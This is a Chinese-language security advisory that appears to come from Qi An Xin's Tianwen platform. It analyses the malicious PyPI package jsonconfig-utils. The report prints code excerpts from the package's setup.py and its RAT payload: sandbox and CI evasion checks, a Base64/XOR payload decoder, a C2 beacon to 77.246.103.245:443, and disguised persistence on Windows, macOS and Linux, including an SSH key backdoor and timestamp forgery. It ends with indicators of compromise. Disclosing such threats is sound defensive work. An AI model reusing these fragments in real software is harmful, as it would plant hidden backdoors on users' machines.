【天问】PyPI 恶意包分析:jsonconfig-utils 内置 RAT 后门及多平台持久化

天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 jsonconfig-utils,该包以 JSON 配置工具为掩护,在 setup.py 中内嵌了完整攻击链。攻击者在安装阶段即可完成反沙箱检测、解密并落地 RAT(远程访问木马)载荷、以及跨平台持久化驻留,最终与 C2 服务器建立加密通信,实现对受害主机的远程控制。

“天问”软件供应链安全分析平台是奇安信技术研究星图实验室研发的针对 Python、npm 等主流开发生态进行长期持续监测的安全分析平台。

1. 包基本信息

字段内容
包名jsonconfig-utils
版本1.0.3
描述Lightweight JSON configuration loader with environment variable interpolation
作者邮箱config-utils-py@proton.me
声明仓库https://github.com/config-utils/jsonconfig-utils

该包声称是”轻量级JSON配置加载器”,其主模块 jsonconfig_utils.py 中确实实现了 load_configConfigDictvalidate_schema 等功能性代码,以增强迷惑性。所有恶意逻辑均集中于 setup.py 中,在 pip install 执行 setup.py 时自动触发。

2. 恶意行为概览

setup.py
 ├── _check()      — 反沙箱/反分析环境检测,计算置信分
 └── _install()    — 主攻击函数(置信分 ≥ 6 时触发)
      ├── 解码混淆载荷(Base64 + XOR,密钥 0x5A)
      ├── Windows  — 落地 .pyw、计划任务、注册表 Run 键
      ├── macOS    — 落地 .py、LaunchAgent、.zshrc 注入、crontab
      └── Linux    — 落地 .py、systemd 服务、crontab、SSH 公钥注入(root)

解码后的载荷是一个完整的 RAT Agent,连接 C2 服务器 77[.]246.103.245:443(SSL 加密),上报系统信息并等待远程指令。

3. 反沙箱检测(_check 函数)

攻击者在 _install 执行前通过 _check() 对当前环境进行全面评估,计算一个”置信分”(_s),仅当分数 ≥ 6 时才执行后续攻击。这一机制有效规避了自动化沙箱、CI/CD 扫描器和容器环境的分析。

3.1 容器与 CI 检测

# ── Container detection ──
if _sys == "Linux":
    for _p in ["/.dockerenv", "/run/.containerenv"]:
        if os.path.exists(_p): _s -= 5
    try:
        with open("/proc/1/cgroup") as _f:
            _cg = _f.read()
        if any(_k in _cg for _k in ["docker", "lxc", "kubepods"]): _s -= 5
    except: pass

_hn = platform.node().lower()
for _b in ["sandbox", "scan", "test", "build", "runner", "ci-", "worker", "job-", "temp"]:
    if _b in _hn: _s -= 3

if os.environ.get("CI") or os.environ.get("GITHUB_ACTIONS") or os.environ.get("JENKINS_URL"):
    _s -= 5

每检测到容器特征或 CI 环境变量,置信分减 3~5 分,直接将沙箱环境的分数压至触发阈值以下。

3.2 硬件与系统活跃度检测

# ── Hardware ──
if os.cpu_count() and os.cpu_count() > 2: _s += 2

# 系统运行时长检测(Linux/macOS/Windows 三路分支)
if _up > 3600: _s += 1
if _up < 300: _s -= 3

# ── User activity ──
# 浏览器目录存在性检测(Chrome/Firefox/Safari/Edge)
if any(os.path.isdir(_b) for _b in _bps): _s += 2

# Shell 历史记录大小检测
if os.path.exists(_hf) and os.path.getsize(_hf) > 2000:
    _s += 2; break
elif os.path.exists(_hf) and os.path.getsize(_hf) > 500:
    _s += 1; break

# Desktop/Downloads 文件数量检测
if _cnt > 10: _s += 2
elif _cnt > 3: _s += 1

# .gitconfig 和 SSH known_hosts 检测
if os.path.exists(os.path.join(_home, ".gitconfig")): _s += 1

3.3 云元数据服务检测

# ── Cloud metadata ──
try:
    import urllib.request
    urllib.request.urlopen("http[:]//169.254.169.254/latest/meta-data/", timeout=1)
    _s -= 3
except: pass

尝试访问 AWS 实例元数据服务地址(169[.]254.169.254),若可达则判断当前环境为云主机/虚拟机,置信分减 3。

4. 混淆载荷解密

_install 函数中内嵌了一段经 Base64 编码 + XOR 加密(密钥 0x5A)的载荷字符串 _E,通过如下方式解密:

_E = "UDM3KjUoLnopNTk..." # 省略,实际长度约 5KB
_K = 0x5A
_d = bytes([b ^ _K for b in base64.b64decode(_E)])
_code = _d.decode()

解密后得到完整的 Python RAT Agent 源码(见第 5 节),该代码随后被写入磁盘并执行。

5. RAT 载荷分析

解密后的载荷实现了一个完整的远控代理(RAT Agent),核心功能如下:

5.1 C2 通信

H="77.246.103.245"
P=443
HB=15   # 心跳间隔(秒)
RB=5    # 初始重连等待(秒)
RM=120  # 最大重连等待(秒)

def sm(s,m):
    # 发送消息:4字节大端长度头 + JSON 数据体
    d=json.dumps(m).encode()
    s.sendall(struct.pack('>I',len(d))+d)

def rm(s,t=45):
    # 接收消息:读取4字节长度头,再读取消息体(最大 10MB)
    ...
    return json.loads(d)

代理连接固定 C2 地址 77.246.103.245:443,使用 SSL/TLS 加密通信,通过自定义的长度前缀 JSON 协议收发指令,心跳间隔 15 秒,断线后指数退避重连(最长 120 秒)。

5.2 主机信息收集与上报

def gi():
    i={"hostname":"?","username":"?","os_type":"?","os_info":"","pid":os.getpid()}
    try:i["hostname"]=platform.node()
    except:pass
    try:i["username"]=os.environ.get("USER",os.environ.get("USERNAME","?"))
    except:pass
    ...

上线后首先上报主机名、用户名、操作系统类型及版本、当前进程 PID 等基础信息。

5.3 进程隐藏

# Windows:隐藏控制台窗口
if platform.system()=="Windows":
    import ctypes
    w=ctypes.windll.kernel32.GetConsoleWindow()
    if w:ctypes.windll.user32.ShowWindow(w,0)
    ctypes.windll.kernel32.FreeConsole()

# Linux/macOS:双 fork 守护进程化
else:
    if os.fork()>0:sys.exit(0)
    os.setsid()
    if os.fork()>0:sys.exit(0)

在 Windows 上通过 Win32 API 隐藏控制台窗口并释放控制台;在 Unix 系统上通过经典的”双重 fork”技术使进程成为孤儿守护进程,脱离终端。

6. 多平台持久化

6.1 Windows

# 落地路径:%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\msedge_update.pyw
_dir = os.path.join(os.environ.get("LOCALAPPDATA","C:\\Users\\Public"),
                   "Microsoft","Windows","INetCache","IE")
_fp = os.path.join(_dir, "msedge_update.pyw")
with open(_fp, "w") as f:
    f.write(_code)

# 设置隐藏+系统属性
subprocess.run(["attrib","+H","+S",_fp], capture_output=True)

# 时间戳伪造:对齐 cmd.exe 的时间戳
_ref = os.path.join(os.environ.get("WINDIR","C:\\Windows"),"System32","cmd.exe")
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))

# 计划任务(ONLOGON,最高权限)
subprocess.run(["schtasks","/Create","/TN","\\Microsoft\\Windows\\WindowsUpdate\\AU_Maint",
                "/TR",_tr,"/SC","ONLOGON","/F","/RL","HIGHEST"], capture_output=True)

# 注册表 Run 键
k=winreg.OpenKey(winreg.HKEY_CURRENT_USER,
                "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                0,winreg.KEY_SET_VALUE)
winreg.SetValueEx(k,"NGenTask",0,winreg.REG_SZ,_tr)
  • 载荷伪装为 msedge_update.pyw(仿冒 Microsoft Edge 更新程序),存放于 INetCache 目录
  • 设置隐藏+系统文件属性,普通用户不可见
  • 时间戳对齐系统 cmd.exe,干扰取证分析
  • 双重持久化:计划任务(用户登录时以最高权限启动)+ 注册表 Run 键
  • 使用 pythonw.exe 配合 CREATE_NO_WINDOW0x08000000)标志启动,无任何可见窗口

6.2 macOS

# 落地路径:~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py
_dir = os.path.join(_home,"Library",".Caches",".com.apple.cloudd")
_fp = os.path.join(_dir,"cloudd_helper.py")

# 时间戳伪造:对齐 /usr/bin/login
_ref = "/usr/bin/login"
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
os.utime(_dir, (_st.st_atime, _st.st_mtime))

# LaunchAgent 持久化
_pd = {"Label":"com.apple.icloud.cloudd",
       "ProgramArguments":[_py,_fp],
       "RunAtLoad":True,
       "KeepAlive":{"SuccessfulExit":False},
       "StandardOutPath":"/dev/null",
       "StandardErrorPath":"/dev/null"}
with open(_plist,"wb") as f:
    plistlib.dump(_pd, f)
subprocess.Popen(["launchctl","load","-w",_plist], ...)

# .zshrc 注入(伪装为 conda 初始化块)
_block = "\n# >>> conda initialize >>>\n"
_block += "# !! Contents within this block are managed by 'conda init' !!\n"
_block += f"( {_py} {_fp} &>/dev/null & ) 2>/dev/null\n"
_block += "# <<< conda initialize <<<\n"

# crontab 兜底
_ct=_ct.rstrip()+"\n@reboot "+_py+" "+_fp+" &>/dev/null &\n"
  • 载荷伪装为 cloudd_helper.py,目录名 .com.apple.cloudd 仿冒苹果 iCloud 守护进程
  • 时间戳同步至系统 /usr/bin/login,目录时间戳也一并伪造
  • 三重持久化:LaunchAgent(系统级)+ .zshrc/.zprofile 注入 + crontab @reboot
  • .zshrc 注入内容伪装为 Conda 初始化代码块,极难被普通用户察觉

6.3 Linux

# 落地路径(依权限)
if _is_root:
    _dir = "/usr/lib/systemd/.systemd-journal-gcd"   # root
else:
    _dir = os.path.join(_home,".local","share",".systemd-cache")  # 普通用户

# 时间戳伪造:对齐 /bin/ls
_ref = "/bin/ls"
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
os.utime(_dir, (_st.st_atime, _st.st_mtime))

# SSH 公钥注入(仅 root)
_pk = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...(省略)... ops"
with open("/root/.ssh/authorized_keys","a") as f: f.write("\n"+_pk+"\n")

# systemd 服务
_svc = f"[Unit]\nDescription=Journal Storage GC\n...\n[Service]\nExecStart={_py} {_fp}\nRestart=always\nRestartSec=30\n..."
subprocess.run(["systemctl","enable",_sn], ...)
subprocess.run(["systemctl","start",_sn], ...)

# crontab(重启 + 每6小时检活)
_ct+="@reboot "+_py+" "+_fp+" &>/dev/null &\n"
_ct+="*/360 * * * * pgrep -f "+os.path.basename(_fp)+" || "+_py+" "+_fp+" &>/dev/null &\n"

# /etc/profile.d shell 劫持(仅 root)
_script = f"#!/bin/sh\n# System locale configuration\npgrep -f {os.path.basename(_fp)} >/dev/null 2>&1 || {_py} {_fp} &>/dev/null &\n"
with open("/etc/profile.d/locale-setup.sh", "w") as f: f.write(_script)
  • 落地文件名 journald-gc.py(root)/ cache-gc.py(普通用户),模拟 systemd 内部组件
  • 时间戳对齐系统 /bin/ls,目录时间戳同步
  • root 专属攻击:SSH 公钥注入 — 将攻击者 RSA 公钥(标签 ops)写入 /root/.ssh/authorized_keys,实现永久 SSH 后门,独立于 RAT 存活
  • 四重持久化:systemd 服务 + crontab(重启+定时检活)+ /etc/profile.d/locale-setup.sh 全局 shell 脚本劫持(root)
  • 文件 /etc/profile.d/locale-setup.sh 伪装为”系统区域设置配置”,任何用户登录 shell 时均会触发

7. 攻击链总结

pip install jsonconfig-utils


setup.py 执行

├─► _check() 环境评分
│ ├── 容器/CI/云环境 → 减分 → 分数 < 6 → 终止
│ └── 真实用户主机 → 分数 ≥ 6 → 继续


_install() 触发

├─► Base64 解码 + XOR(0x5A) 解密 → RAT 源码

├─► Windows: 落地 msedge_update.pyw
│ ├── 计划任务 AU_Maint(ONLOGON + HIGHEST)
│ ├── 注册表 Run 键 NGenTask
│ └── 立即以 pythonw.exe 静默启动

├─► macOS: 落地 cloudd_helper.py
│ ├── LaunchAgent com.apple.icloud.cloudd
│ ├── .zshrc/.zprofile 注入(conda 伪装)
│ ├── crontab @reboot
│ └── 立即后台启动

└─► Linux: 落地 journald-gc.py / cache-gc.py
├── SSH 公钥注入(root)
├── systemd 服务(enable + start)
├── crontab(@reboot + */360min 检活)
├── /etc/profile.d/locale-setup.sh(root)
└── 立即 start_new_session 启动


RAT Agent 运行

└─► SSL 连接 77.246.103.245:443
├── 上报主机信息
├── 心跳(15s)
└── 等待并执行远程指令

8. 关键 IoC(失陷指标)

类型
C2 IP77[.]246.103.245
C2 端口443(SSL)
SSH 公钥(Linux root)ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvG+mB...ops
落地文件(Windows)%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\msedge_update.pyw
落地文件(macOS)~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py
落地文件(Linux root)/usr/lib/systemd/.systemd-journal-gcd/journald-gc.py
落地文件(Linux user)~/.local/share/.systemd-cache/cache-gc.py
计划任务名(Windows)\Microsoft\Windows\WindowsUpdate\AU_Maint
注册表键(Windows)HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NGenTask
LaunchAgent(macOS)~/Library/LaunchAgents/com.apple.icloud.cloudd.plist
Systemd 服务(Linux root)systemd-journal-gcd.service
Systemd 服务(Linux user)cache-gc.service
Profile 脚本(Linux root)/etc/profile.d/locale-setup.sh

9. 总结

jsonconfig-utils 是一个具有较高技术水准的供应链攻击包,攻击者在其中综合运用了多种对抗分析技术和跨平台攻击手段:

  1. 伪装合法功能:主模块 jsonconfig_utils.py 实现了完整的 JSON 配置工具功能,以降低安全扫描工具和人工审查的警惕性。
  2. 精密反沙箱检测:通过容器检测、CI 检测、硬件指纹、用户行为痕迹、云元数据等多维度综合评分,仅在确认为真实用户环境时才触发攻击,有效规避自动化检测。
  3. 双重混淆载荷:RAT 代码经 Base64 + XOR 双重加密存储,静态特征难以识别。
  4. 跨平台攻击:同一个 setup.py 针对 Windows、macOS、Linux 三个平台分别实现了定制化的落地路径、持久化机制和进程隐藏方式。
  5. 多重持久化 + 时间戳伪造:每个平台均部署 2 种以上持久化机制互为兜底,并对落地文件的时间戳进行伪造,增加取证难度。
  6. SSH 后门(Linux root):在获得 root 权限的 Linux 环境中额外注入 SSH 公钥,即使 RAT 进程被清除,攻击者仍可通过 SSH 重新进入系统。

建议用户避免安装不可信的第三方 Python 包,天问Python供应链威胁监测模块将持续对 PyPI 进行监测。

恶意包信息

包名版本平台作者
jsonconfig-utils1.0.3Windows / macOS / Linuxisavoxi580
jsonconfig-utils1.0.4Windows / macOS / Linuxisavoxi580
jsonconfig-utils1.0.5Windows / macOS / Linuxisavoxi580
jsonconfig-utils1.0.6Windows / macOS / Linuxisavoxi580
jsonconfig-utils1.0.7Windows / macOS / Linuxisavoxi580
jsonconfig-utils1.0.8Windows / macOS / Linuxisavoxi580
jsonconfig-utils1.0.9Windows / macOS / Linuxisavoxi580
jsonconfig-utils1.0.10Windows / macOS / Linuxisavoxi580
jsonconfig-utils1.0.11Windows / macOS / Linuxisavoxi580